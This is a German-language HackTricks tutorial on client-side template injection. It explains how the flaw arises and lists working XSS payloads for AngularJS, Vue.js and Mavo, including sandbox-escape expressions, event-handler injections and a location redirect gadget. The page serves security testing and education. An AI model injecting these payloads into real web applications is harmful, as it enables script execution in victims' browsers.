Client Side Template Injection (CSTI)

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihr Tool kostenlos ausprobieren unter:


Zusammenfassung

Es ist wie ein Serverseitige Template-Injection, aber auf der Client-Seite. Während SSTI es Ihnen ermöglichen kann, Code auf dem entfernten Server auszuführen, könnte CSTI es Ihnen ermöglichen, beliebigen JavaScript-Code im Browser des Opfers auszuführen.

Das Testen dieser Schwachstelle ist sehr ähnlich wie im Fall von SSTI, der Interpreter erwartet ein Template und wird es ausführen. Zum Beispiel, mit einem Payload wie {{ 7-7 }}, wenn die App anfällig ist, sehen Sie eine 0, andernfalls sehen Sie das Original: {{ 7-7 }}

AngularJS

AngularJS ist ein weit verbreitetes JavaScript-Framework, das mit HTML durch Attribute interagiert, die als Direktiven bekannt sind, wobei eine davon ng-app ist. Diese Direktive ermöglicht es AngularJS, den HTML-Inhalt zu verarbeiten und die Ausführung von JavaScript-Ausdrücken innerhalb doppelter geschweifter Klammern zu ermöglichen.

In Szenarien, in denen Benutzereingaben dynamisch in den HTML-Body eingefügt werden, der mit ng-app markiert ist, ist es möglich, beliebigen JavaScript-Code auszuführen. Dies kann durch Nutzung der Syntax von AngularJS innerhalb der Eingabe erreicht werden. Im Folgenden sind Beispiele aufgeführt, die zeigen, wie JavaScript-Code ausgeführt werden kann:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Sie können ein sehr einfaches Online-Beispiel für die Schwachstelle in AngularJS unter http://jsfiddle.net/2zs2yv7o/ und in der Burp Suite Academy finden.

Angular 1.6 hat den Sandbox entfernt, sodass ab dieser Version ein Payload wie {{constructor.constructor('alert(1)')()}} oder <input ng-focus=$event.view.alert('XSS')> funktionieren sollte.

VueJS

Sie können eine anfällige Vue-Implementierung unter https://vue-client-side-template-injection-example.azu.now.sh/ finden. Funktionsfähiger Payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Und der Quellcode des anfälligen Beispiels ist hier zu finden: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Eine wirklich gute Post zu CSTI in VUE findest du unter https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Kredit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Kredit: Mario Heiderich

Überprüfen Sie weitere VUE-Payloads unter https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Weitere Payloads unter https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Liste zur Brute-Force-Erkennung

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated